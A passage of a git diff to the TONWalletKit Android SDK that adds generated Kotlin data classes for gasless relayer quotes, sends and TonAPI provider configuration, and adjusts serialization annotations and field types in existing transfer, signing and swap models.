io.ton.walletkit.api.generated + +import kotlinx.serialization.SerialName +import kotlinx.serialization.Serializable + +/** + * Used in provider configuration to override fields of the provider's metadata. + * + * @param name + * @param logo + * @param url + */ +@Serializable +data class TONGaslessProviderMetadataOverride( + + @SerialName(value = "name") + val name: kotlin.String? = null, + + @SerialName(value = "logo") + val logo: kotlin.String? = null, + + @SerialName(value = "url") + val url: kotlin.String? = null, + +) { + + companion object +} diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessQuote.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessQuote.kt new file mode 100644 index 00000000..3b8f6a0d --- /dev/null +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessQuote.kt @@ -0,0 +1,67 @@ +/* + * Copyright (c) 2025 TonTech + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + */ +@file:Suppress( + "ArrayInDataClass", + "EnumEntryName", + "RemoveRedundantQualifierName", + "UnusedImport", +) + +package io.ton.walletkit.api.generated + +import io.ton.walletkit.model.TONUserFriendlyAddress +import kotlinx.serialization.SerialName +import kotlinx.serialization.Serializable + +/** + * Quote for a gasless transaction produced by `GaslessProvider.getQuote`. Contains relayer-wrapped messages that should be passed to `wallet.signMessage` in place of the caller's original messages, together with the fee the relayer will deduct and the timestamp after which the bundle expires. + * + * @param network + * @param messages Relayer-wrapped messages ready to be signed + * @param fee + * @param validUntil Unix timestamp after which the bundle becomes invalid for relay + * @param from + */ +@Serializable +data class TONGaslessQuote( + + @SerialName(value = "network") + val network: TONNetwork, + + /* Relayer-wrapped messages ready to be signed */ + @SerialName(value = "messages") + val messages: kotlin.collections.List, + + @SerialName(value = "fee") + val fee: kotlin.String, + + /* Unix timestamp after which the bundle becomes invalid for relay */ + @SerialName(value = "validUntil") + val validUntil: kotlin.Double, + + @SerialName(value = "from") + val from: io.ton.walletkit.model.TONUserFriendlyAddress, + +) { + + companion object +} diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessQuoteParams.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessQuoteParams.kt new file mode 100644 index 00000000..9e11e049 --- /dev/null +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessQuoteParams.kt @@ -0,0 +1,67 @@ +/* + * Copyright (c) 2025 TonTech + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + */ +@file:Suppress( + "ArrayInDataClass", + "EnumEntryName", + "RemoveRedundantQualifierName", + "UnusedImport", +) + +package io.ton.walletkit.api.generated + +import io.ton.walletkit.model.TONUserFriendlyAddress +import kotlinx.serialization.Contextual +import kotlinx.serialization.SerialName +import kotlinx.serialization.Serializable + +/** + * Parameters to quote a gasless transaction. The relayer wraps the caller's messages with fee-collection logic and returns a new set of messages that the wallet should sign via `signMessage`. + * + * @param network + * @param walletAddress + * @param walletPublicKey + * @param messages Messages that the caller wants to include in the transaction + * @param feeAsset + */ +@Serializable +data class TONGaslessQuoteParams( + + @SerialName(value = "network") + val network: TONNetwork, + + @SerialName(value = "walletAddress") + val walletAddress: io.ton.walletkit.model.TONUserFriendlyAddress, + + @Contextual @SerialName(value = "walletPublicKey") + val walletPublicKey: io.ton.walletkit.model.TONHex, + + /* Messages that the caller wants to include in the transaction */ + @SerialName(value = "messages") + val messages: kotlin.collections.List, + + @SerialName(value = "feeAsset") + val feeAsset: io.ton.walletkit.model.TONUserFriendlyAddress? = null, + +) { + + companion object +} diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessSendParams.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessSendParams.kt new file mode 100644 index 00000000..f41f8023 --- /dev/null +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessSendParams.kt @@ -0,0 +1,58 @@ +/* + * Copyright (c) 2025 TonTech + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + */ +@file:Suppress( + "ArrayInDataClass", + "EnumEntryName", + "RemoveRedundantQualifierName", + "UnusedImport", +) + +package io.ton.walletkit.api.generated + +import io.ton.walletkit.model.TONBase64 +import kotlinx.serialization.Contextual +import kotlinx.serialization.SerialName +import kotlinx.serialization.Serializable + +/** + * Parameters to submit a signed gasless transaction to the relayer. + * + * @param network + * @param walletPublicKey + * @param internalBoc + */ +@Serializable +data class TONGaslessSendParams( + + @SerialName(value = "network") + val network: TONNetwork, + + @Contextual @SerialName(value = "walletPublicKey") + val walletPublicKey: io.ton.walletkit.model.TONHex, + + @SerialName(value = "internalBoc") + val internalBoc: io.ton.walletkit.model.TONBase64, + +) { + + companion object +} diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessSendResponse.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessSendResponse.kt new file mode 100644 index 00000000..8770ef42 --- /dev/null +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessSendResponse.kt @@ -0,0 +1,62 @@ +/* + * Copyright (c) 2025 TonTech + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + */ +@file:Suppress( + "ArrayInDataClass", + "EnumEntryName", + "RemoveRedundantQualifierName", + "UnusedImport", +) + +package io.ton.walletkit.api.generated + +import io.ton.walletkit.model.TONBase64 +import kotlinx.serialization.Contextual +import kotlinx.serialization.SerialName +import kotlinx.serialization.Serializable + +/** + * Response from a gasless send. Extends `SendTransactionResponse` (`boc`, `normalizedBoc`, `normalizedHash` of the broadcasted external-in message) with the signed internal-message BoC produced by `wallet.signMessage` for the relayer to wrap. + * + * @param boc + * @param normalizedBoc + * @param normalizedHash + * @param internalBoc + */ +@Serializable +data class TONGaslessSendResponse( + + @SerialName(value = "boc") + val boc: io.ton.walletkit.model.TONBase64, + + @SerialName(value = "normalizedBoc") + val normalizedBoc: io.ton.walletkit.model.TONBase64, + + @Contextual @SerialName(value = "normalizedHash") + val normalizedHash: io.ton.walletkit.model.TONHex, + + @SerialName(value = "internalBoc") + val internalBoc: io.ton.walletkit.model.TONBase64, + +) { + + companion object +} diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessSupportedAsset.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessSupportedAsset.kt new file mode 100644 index 00000000..be5e93ce --- /dev/null +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONGaslessSupportedAsset.kt @@ -0,0 +1,49 @@ +/* + * Copyright (c) 2025 TonTech + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + */ +@file:Suppress( + "ArrayInDataClass", + "EnumEntryName", + "RemoveRedundantQualifierName", + "UnusedImport", +) + +package io.ton.walletkit.api.generated + +import io.ton.walletkit.model.TONUserFriendlyAddress +import kotlinx.serialization.SerialName +import kotlinx.serialization.Serializable + +/** + * An asset the relayer accepts as fee payment. Address shape is currently always a jetton master (TonAPI's only supported mode), but the type is intentionally generic so future relayers can advertise NFT items or other assets without re-shaping the model. + * + * @param address + */ +@Serializable +data class TONGaslessSupportedAsset( + + @SerialName(value = "address") + val address: io.ton.walletkit.model.TONUserFriendlyAddress, + +) { + + companion object +} diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONJettonTransferItem.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONJettonTransferItem.kt index 6249c720..e388638a 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONJettonTransferItem.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONJettonTransferItem.kt @@ -29,7 +29,6 @@ package io.ton.walletkit.api.generated import io.ton.walletkit.model.TONBase64 -import kotlinx.serialization.Contextual import kotlinx.serialization.SerialName import kotlinx.serialization.Serializable @@ -67,13 +66,13 @@ data class TONJettonTransferItem( @SerialName(value = "responseDestination") val responseDestination: kotlin.String? = null, - @Contextual @SerialName(value = "customPayload") + @SerialName(value = "customPayload") val customPayload: io.ton.walletkit.model.TONBase64? = null, @SerialName(value = "forwardAmount") val forwardAmount: kotlin.String? = null, - @Contextual @SerialName(value = "forwardPayload") + @SerialName(value = "forwardPayload") val forwardPayload: io.ton.walletkit.model.TONBase64? = null, @SerialName("type") val type: kotlin.String = "jetton", diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONJettonsTransferRequest.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONJettonsTransferRequest.kt index 503746c4..61bf1611 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONJettonsTransferRequest.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONJettonsTransferRequest.kt @@ -38,6 +38,7 @@ import kotlinx.serialization.Serializable * @param jettonAddress * @param transferAmount * @param recipientAddress + * @param responseDestination * @param comment Human-readable comment attached to the transfer */ @Serializable @@ -52,6 +53,9 @@ data class TONJettonsTransferRequest( @SerialName(value = "recipientAddress") val recipientAddress: io.ton.walletkit.model.TONUserFriendlyAddress, + @SerialName(value = "responseDestination") + val responseDestination: io.ton.walletkit.model.TONUserFriendlyAddress? = null, + /* Human-readable comment attached to the transfer */ @SerialName(value = "comment") val comment: kotlin.String? = null, diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONNFTRawTransferRequestMessage.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONNFTRawTransferRequestMessage.kt index ce1a7f8f..f57830a1 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONNFTRawTransferRequestMessage.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONNFTRawTransferRequestMessage.kt @@ -30,7 +30,6 @@ package io.ton.walletkit.api.generated import io.ton.walletkit.model.TONBase64 import io.ton.walletkit.model.TONUserFriendlyAddress -import kotlinx.serialization.Contextual import kotlinx.serialization.SerialName import kotlinx.serialization.Serializable @@ -59,10 +58,10 @@ data class TONNFTRawTransferRequestMessage( @SerialName(value = "responseDestination") val responseDestination: io.ton.walletkit.model.TONUserFriendlyAddress? = null, - @Contextual @SerialName(value = "customPayload") + @SerialName(value = "customPayload") val customPayload: io.ton.walletkit.model.TONBase64? = null, - @Contextual @SerialName(value = "forwardPayload") + @SerialName(value = "forwardPayload") val forwardPayload: io.ton.walletkit.model.TONBase64? = null, ) { diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONNftTransferItem.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONNftTransferItem.kt index 77b31651..fdebb4e3 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONNftTransferItem.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONNftTransferItem.kt @@ -29,7 +29,6 @@ package io.ton.walletkit.api.generated import io.ton.walletkit.model.TONBase64 -import kotlinx.serialization.Contextual import kotlinx.serialization.SerialName import kotlinx.serialization.Serializable @@ -63,13 +62,13 @@ data class TONNftTransferItem( @SerialName(value = "responseDestination") val responseDestination: kotlin.String? = null, - @Contextual @SerialName(value = "customPayload") + @SerialName(value = "customPayload") val customPayload: io.ton.walletkit.model.TONBase64? = null, @SerialName(value = "forwardAmount") val forwardAmount: kotlin.String? = null, - @Contextual @SerialName(value = "forwardPayload") + @SerialName(value = "forwardPayload") val forwardPayload: io.ton.walletkit.model.TONBase64? = null, @SerialName("type") val type: kotlin.String = "nft", diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONProofMessage.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONProofMessage.kt index 3005f901..30ab6e6c 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONProofMessage.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONProofMessage.kt @@ -65,7 +65,7 @@ data class TONProofMessage( @SerialName(value = "payload") val payload: kotlin.String, - @Contextual @SerialName(value = "stateInit") + @SerialName(value = "stateInit") val stateInit: io.ton.walletkit.model.TONBase64, @Contextual @SerialName(value = "signature") diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSendTransactionApprovalResponse.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSendTransactionApprovalResponse.kt index 57750c42..a48ea137 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSendTransactionApprovalResponse.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSendTransactionApprovalResponse.kt @@ -29,7 +29,6 @@ package io.ton.walletkit.api.generated import io.ton.walletkit.model.TONBase64 -import kotlinx.serialization.Contextual import kotlinx.serialization.SerialName import kotlinx.serialization.Serializable @@ -41,7 +40,7 @@ import kotlinx.serialization.Serializable @Serializable data class TONSendTransactionApprovalResponse( - @Contextual @SerialName(value = "signedBoc") + @SerialName(value = "signedBoc") val signedBoc: io.ton.walletkit.model.TONBase64, ) { diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSendTransactionResponse.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSendTransactionResponse.kt index 69bf56c0..ed317d5e 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSendTransactionResponse.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSendTransactionResponse.kt @@ -43,10 +43,10 @@ import kotlinx.serialization.Serializable @Serializable data class TONSendTransactionResponse( - @Contextual @SerialName(value = "boc") + @SerialName(value = "boc") val boc: io.ton.walletkit.model.TONBase64, - @Contextual @SerialName(value = "normalizedBoc") + @SerialName(value = "normalizedBoc") val normalizedBoc: io.ton.walletkit.model.TONBase64, @Contextual @SerialName(value = "normalizedHash") diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSignDataBinary.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSignDataBinary.kt index 01852f0b..80c41888 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSignDataBinary.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSignDataBinary.kt @@ -29,7 +29,6 @@ package io.ton.walletkit.api.generated import io.ton.walletkit.model.TONBase64 -import kotlinx.serialization.Contextual import kotlinx.serialization.SerialName import kotlinx.serialization.Serializable @@ -41,7 +40,7 @@ import kotlinx.serialization.Serializable @Serializable data class TONSignDataBinary( - @Contextual @SerialName(value = "content") + @SerialName(value = "content") val content: io.ton.walletkit.model.TONBase64, ) { diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSignDataCell.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSignDataCell.kt index 05abb052..85fddb9b 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSignDataCell.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSignDataCell.kt @@ -29,7 +29,6 @@ package io.ton.walletkit.api.generated import io.ton.walletkit.model.TONBase64 -import kotlinx.serialization.Contextual import kotlinx.serialization.SerialName import kotlinx.serialization.Serializable @@ -46,7 +45,7 @@ data class TONSignDataCell( @SerialName(value = "schema") val schema: kotlin.String, - @Contextual @SerialName(value = "content") + @SerialName(value = "content") val content: io.ton.walletkit.model.TONBase64, ) { diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSignDataPreviewBinary.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSignDataPreviewBinary.kt index 6eb9f5bf..2f33937f 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSignDataPreviewBinary.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSignDataPreviewBinary.kt @@ -29,7 +29,6 @@ package io.ton.walletkit.api.generated import io.ton.walletkit.model.TONBase64 -import kotlinx.serialization.Contextual import kotlinx.serialization.SerialName import kotlinx.serialization.Serializable @@ -41,7 +40,7 @@ import kotlinx.serialization.Serializable @Serializable data class TONSignDataPreviewBinary( - @Contextual @SerialName(value = "content") + @SerialName(value = "content") val content: io.ton.walletkit.model.TONBase64, ) { diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSignDataPreviewCell.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSignDataPreviewCell.kt index 77f98999..3aaadae0 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSignDataPreviewCell.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSignDataPreviewCell.kt @@ -47,7 +47,7 @@ data class TONSignDataPreviewCell( @SerialName(value = "schema") val schema: kotlin.String, - @Contextual @SerialName(value = "content") + @SerialName(value = "content") val content: io.ton.walletkit.model.TONBase64, @Contextual @SerialName(value = "parsed") diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSignMessageApprovalResponse.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSignMessageApprovalResponse.kt index 2aa76652..fd924cb1 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSignMessageApprovalResponse.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSignMessageApprovalResponse.kt @@ -29,7 +29,6 @@ package io.ton.walletkit.api.generated import io.ton.walletkit.model.TONBase64 -import kotlinx.serialization.Contextual import kotlinx.serialization.SerialName import kotlinx.serialization.Serializable @@ -41,7 +40,7 @@ import kotlinx.serialization.Serializable @Serializable data class TONSignMessageApprovalResponse( - @Contextual @SerialName(value = "internalBoc") + @SerialName(value = "internalBoc") val internalBoc: io.ton.walletkit.model.TONBase64, ) { diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSwapParams.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSwapParams.kt index e23b40b0..2d74c27b 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSwapParams.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSwapParams.kt @@ -51,9 +51,9 @@ data class TONSwapParams( @SerialName("destinationAddress") val destinationAddress: io.ton.walletkit.model.TONUserFriendlyAddress? = null, @SerialName("slippageBps") - val slippageBps: kotlin.Double? = null, + val slippageBps: kotlin.Int? = null, @SerialName("deadline") - val deadline: kotlin.Double? = null, + val deadline: kotlin.Int? = null, @SerialName("providerOptions") val providerOptions: TProviderOptions? = null, ) { diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSwapQuoteParams.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSwapQuoteParams.kt index 7bf1c75b..8a42eb8a 100644 --- a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSwapQuoteParams.kt +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONSwapQuoteParams.kt @@ -54,9 +54,9 @@ data class TONSwapQuoteParams( @SerialName("network") val network: TONNetwork, @SerialName("slippageBps") - val slippageBps: kotlin.Double? = null, + val slippageBps: kotlin.Int? = null, @SerialName("maxOutgoingMessages") - val maxOutgoingMessages: kotlin.Double? = null, + val maxOutgoingMessages: kotlin.Int? = null, @SerialName("providerOptions") val providerOptions: TProviderOptions? = null, @SerialName("isReverseSwap") diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTonApiGaslessChainConfig.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTonApiGaslessChainConfig.kt new file mode 100644 index 00000000..e67d0f89 --- /dev/null +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTonApiGaslessChainConfig.kt @@ -0,0 +1,54 @@ +/* + * Copyright (c) 2025 TonTech + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + */ +@file:Suppress( + "ArrayInDataClass", + "EnumEntryName", + "RemoveRedundantQualifierName", + "UnusedImport", +) + +package io.ton.walletkit.api.generated + +import kotlinx.serialization.SerialName +import kotlinx.serialization.Serializable + +/** + * Per-chain TonAPI gasless settings. + * + * @param endpoint TonAPI REST endpoint override for this chain (defaults to TonAPI's per-network host). + * @param apiKey Bearer token used for this chain's TonAPI calls. + */ +@Serializable +data class TONTonApiGaslessChainConfig( + + /* TonAPI REST endpoint override for this chain (defaults to TonAPI's per-network host). */ + @SerialName(value = "endpoint") + val endpoint: kotlin.String? = null, + + /* Bearer token used for this chain's TonAPI calls. */ + @SerialName(value = "apiKey") + val apiKey: kotlin.String? = null, + +) { + + companion object +} diff --git a/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTonApiGaslessProviderConfig.kt b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTonApiGaslessProviderConfig.kt new file mode 100644 index 00000000..837cc0be --- /dev/null +++ b/TONWalletKit-Android/api/src/main/java/io/ton/walletkit/api/generated/TONTonApiGaslessProviderConfig.kt @@ -0,0 +1,80 @@ +/* + * Copyright (c) 2025 TonTech + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + */ +@file:Suppress( + "ArrayInDataClass", + "EnumEntryName", + "RemoveRedundantQualifierName", + "UnusedImport", +) + +package io.ton.walletkit.api.generated + +import kotlinx.serialization.Contextual +import kotlinx.serialization.SerialName +import kotlinx.serialization.Serializable + +/** + * Configuration for `TonApiGaslessProvider`. One provider instance handles every configured chain. When `chains` is omitted, `createFromContext` auto-registers every network the kit was configured with. + * + * @param chains Per-chain settings keyed by `Network#chainId`. + * @param providerId Provider id. Defaults to `tonapi`. + * @param sendRetries Number of send retries on transient errors. Defaults to 5. + * @param sendRetryDelayMs Delay between send retries in ms. Defaults to 1000. + * @param quoteRetries Number of quote retries on transient errors (5xx / network). Defaults to 5. + * @param quoteRetryDelayMs Fixed delay between quote retries in ms. Defaults to 1000. + * @param configCacheTtlMs TTL for the in-memory `/v2/gasless/config` cache (ms). Defaults to 5 minutes. Set to `0` to disable caching. + */ +@Serializable +data class TONTonApiGaslessProviderConfig( + + /* Per-chain settings keyed by `Network#chainId`. */ + @Contextual @SerialName(value = "chains") + val chains: kotlin.collections.Map? = null, + + /* Provider id. Defaults to `tonapi`. */ + @SerialName(value = "providerId") + val providerId: kotlin.String? = null, + + /* Number of send retries on transient errors. Defaults to 5. */ + @SerialName(value = "sendRetries") + val sendRetries: kotlin.Int? = null, + + /* Delay between send retries in ms. Defaults to 1000. */ + @SerialName(value = "sendRetryDelayMs") + val sendRetryDelayMs: kotlin.Int? = 